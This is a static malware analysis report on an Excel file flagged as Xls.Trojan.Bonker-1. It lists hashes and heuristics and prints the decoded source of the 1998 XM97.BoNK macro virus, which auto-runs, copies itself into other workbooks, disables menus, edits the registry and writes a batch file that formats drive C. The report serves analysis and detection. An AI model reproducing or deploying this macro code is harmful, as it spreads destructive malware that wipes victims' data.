Xls.Trojan.Bonker-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 2ce90c485153cf8a…

MALICIOUS

Office (OLE)

24.0 KB Created: 2000-02-09 22:40:24 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 0c3dd21f3f5d010d86c3ecd80af52580 SHA-1: efef525c9488b6d90efcfe61d3a08b42446a4919 SHA-256: 2ce90c485153cf8af93da34534f6eb88b6a961ec008a90577e9fbca69cd9b440
220 Risk Score

Malware Insights

Xls.Trojan.Bonker-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing a VBA macro that automatically executes upon opening via the Auto_Open subroutine. This macro utilizes the Shell() function, indicating an attempt to execute external commands or payloads. The ClamAV detection name 'Xls.Trojan.Bonker-1' and the heuristic firings strongly suggest a malicious trojan designed to download and execute a second-stage payload, likely to 'c:\windows\system\B32o2nk.sys'.

Heuristics 5

  • ClamAV: Xls.Trojan.Bonker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Bonker-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12558 bytes
SHA-256: 8592b52ac75417664771510289bfebcb45c88ea9bd1dff3c73c5d3519d8fe416
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Modul 1"
Name:   Xcel97Macro.BoNK
Author: jack twoflower LineZer0/Metaphase
Date:   December 1998
----------------------------------------->


Sub Auto_Open()
Application.OnSheetActivate = "XBoNKeR"
End Sub
Sub XBoNKeR()
On Error Resume Next
BK = "Bonk"
BZ = "c:\windows\system\B32o2nk.sys"
PX = "Personal.xls"
PPX = Application.StartupPath & "\" & PX
aBoNK = 0
xBoNK = 0

With Application
    .StatusBar = "XM97.BoNK"
    .ScreenUpdating = False
    .DisplayAlerts = False
    .EnableCancelKey = xlDisabled
    .Caption = "Micro$oft Excel"
End With

Application.VBE.ActiveVBProject.VBComponents.Item(BK).Export BZ

If Dir(PPX) = PX Then xBoNK = 1

For i = 1 To ActiveWorkbook.VBProject.VBComponents.count
    If ActiveWorkbook.VBProject.VBComponents(i).Name = BK Then aBoNK = 1
Next i

If aBoNK = 0 Then
    ActiveWorkbook.VBProject.VBComponents.Import BZ
    ActiveWorkbook.Save
End If

If xBoNK = 0 Then
    Workbooks.Add.SaveAs FileName:=PPX
    ActiveWorkbook.VBProject.VBComponents.Import BZ
    ActiveWindow.Visible = False
    Workbooks(PX).Save
End If
BKCount
Bonk_It
End Sub
Sub BKCount()
On Error Resume Next
Dim chk As Integer
Dim count As Integer

chk = GetSetting("VBA", "XM97_BoNK", "BKCounter")

If chk > 100 Then
    SaveSetting "VBA", "XM97_BoNK", "BKCounter", 1
    BKAction
End If

If chk = 0 Then
    SaveSetting "VBA", "XM97_BoNK", "BKCounter", 1
    SaveSetting "VBA", "XM97_BoNK", "Creator", "jack twoflower -=[LzŘ]=-"
    SaveSetting "VBA", "XM97_BoNK", "Address", "jack_twoflower@hotmail.com"
End If

count = chk + 1
SaveSetting "VBA", "XM97_BoNK", "BKCounter", count

End Sub
Sub Bonk_It()
On Error Resume Next

CommandBars("Tools").Controls(10).Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
CommandBars("View").Controls(3).Enabled = False
CommandBars("Window").Controls(3).Enabled = False
CommandBars("Window").Controls(4).Enabled = False
    
RG = "C:\WINDOWS\SYSTEM\B32NK.REG"
If UCase(Dir(RG)) <> "B32NK.REG" Then

    Open RG For Output Access Write As #1
        Print #1, "REGEDIT4"
        Print #1, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]"
        Print #1, """LegalNoticeCaption""=""XM97.BoNK"""
        Print #1, """LegalNoticeText""=""This is BřNKeRs of the .BoNK-family by Jack Twoflower -=[LzŘ]=-"""
    Close 1
    
    Open "c:\start.bat" For Output Access Write As #1
        Print #1, "REM Microsoft Windows 95 Start-Hilfe"
        Print #1, "REM ================================"
        Print #1, "REM Systemdatei nicht löschen!"
        Print #1,
        Print #1, "regedit /s c:\windows\system\b32nk.reg"
    Close 1

    Open "c:\autoexec.bat" For Append As #1
        Print #1, "@IF EXIST C:\START.BAT DEL C:\START.BAT"
    Close 1
Shell ("c:\start.bat"), vbHide
End If
End Sub
Sub BKAction()
On Error Resume Next
Open "c:\format.bat" For Output Access Write As #1
    Print #1, "@echo j|format c:"
    Print #1,
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.